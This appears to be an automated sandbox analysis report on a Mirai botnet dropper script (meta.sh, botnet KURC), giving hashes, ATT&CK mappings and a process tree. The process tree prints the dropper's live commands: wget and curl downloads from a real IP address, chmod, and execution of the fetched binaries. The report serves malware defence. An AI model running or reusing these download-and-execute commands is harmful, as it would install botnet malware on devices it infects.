mirai | c41d5810be4537b41400f5aefb61ace955fe7f1bfc26a2bb0cd6144f38aa3679

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17-02-2025 10:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

meta.sh
Size

483B
MD5

79b512b0b1a43d26890e67dfb400c8c8
SHA1

e8db4e2ce94cdcd5f97a02be52968a336b60d784
SHA256

c41d5810be4537b41400f5aefb61ace955fe7f1bfc26a2bb0cd6144f38aa3679
SHA512

fade5a3df3df6074e13c0a15f858e005b5ddb353729f050b74179def4dd653cee66fe53f22a484d70064ce38755d4e555fcbde9fa8a27ea70f5e1be1e5257904

Score

10^/10

mirai kurc botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

KURC

Extracted

Family

mirai

Botnet

KURC

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
733	chmod
739	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/kraapje	734	meta.sh
/tmp/kraapje	740	meta.sh

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/kre4per.x86	curl
File opened for modification	/tmp/kraapje	meta.sh
File opened for modification	/tmp/kre4per.x86_64	wget
File opened for modification	/tmp/kre4per.x86_64	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/kre4per.x86	wget

/tmp/meta.sh
/tmp/meta.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:702
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /usr/bin/wget
  wget http://194.85.251.68/bins/kre4per.x86
  2⤵
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://194.85.251.68/bins/kre4per.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/cat
  cat kre4per.x86
  2⤵
  PID:732
- /bin/chmod
  chmod +x busybox kraapje kre4per.x86 meta.sh systemd-private-60ecbd699a944fc09467a2f903e6ded9-systemd-timedated.service-CgPLid
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/kraapje
  ./kraapje MetaBase-Exploit
  2⤵
  PID:734
- /usr/bin/wget
  wget http://194.85.251.68/bins/kre4per.x86_64
  2⤵
  - Writes file to tmp directory
  PID:736
- /usr/bin/curl
  curl -O http://194.85.251.68/bins/kre4per.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/cat
  cat kre4per.x86_64
  2⤵
  PID:738
- /bin/chmod
  chmod +x busybox kraapje kre4per.x86 kre4per.x86_64 meta.sh systemd-private-60ecbd699a944fc09467a2f903e6ded9-systemd-timedated.service-CgPLid
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/kraapje
  ./kraapje MetaBase-Exploit
  2⤵
  PID:740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/busybox

Filesize
857KB

MD5
6ffc46165b5d9726a6607f3ea5305589

SHA1
ab127220f42e816b413dde0d17031e251a7bc98f

SHA256
80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

SHA512
456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

Download Submit
/tmp/kraapje

Filesize
61KB

MD5
d2b8f3324a01bcc7b32944d8d8b84f81

SHA1
ad898c85a87d9e44d6a88d900b23d350b545e8af

SHA256
6bc122342cb7620b9e130b71869bcedd664c243fb8a63bb2f29a9c71cb48fce4

SHA512
b8fc9a6c4a713cda10db85e1283f840de8e2a04546a20993c214a9768b8aa98172e810c148f4bf8ed90286fe9cf7b091eabf512ab0bf3681bef759ce9fa894ad

Download Submit
/tmp/kre4per.x86

Filesize
53KB

MD5
7ffbdf8a1d617b2c93d5fc520ccb31cc

SHA1
5dbe3ceeb1e58a61671b74d040b809d343d24b53

SHA256
7c3b7d80a9f95b61e3a56a62493c5f3336eabd766a17d2d07e28d01ec750f7eb

SHA512
3de46ad924e9ceab846f2a09933a1cb654e5e70c8a4bf84d395c8492470b8bcc0afc838b3f4ceb8086c81e4beba5c2884bd59a202d6c682ae58c6d2a28766727

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads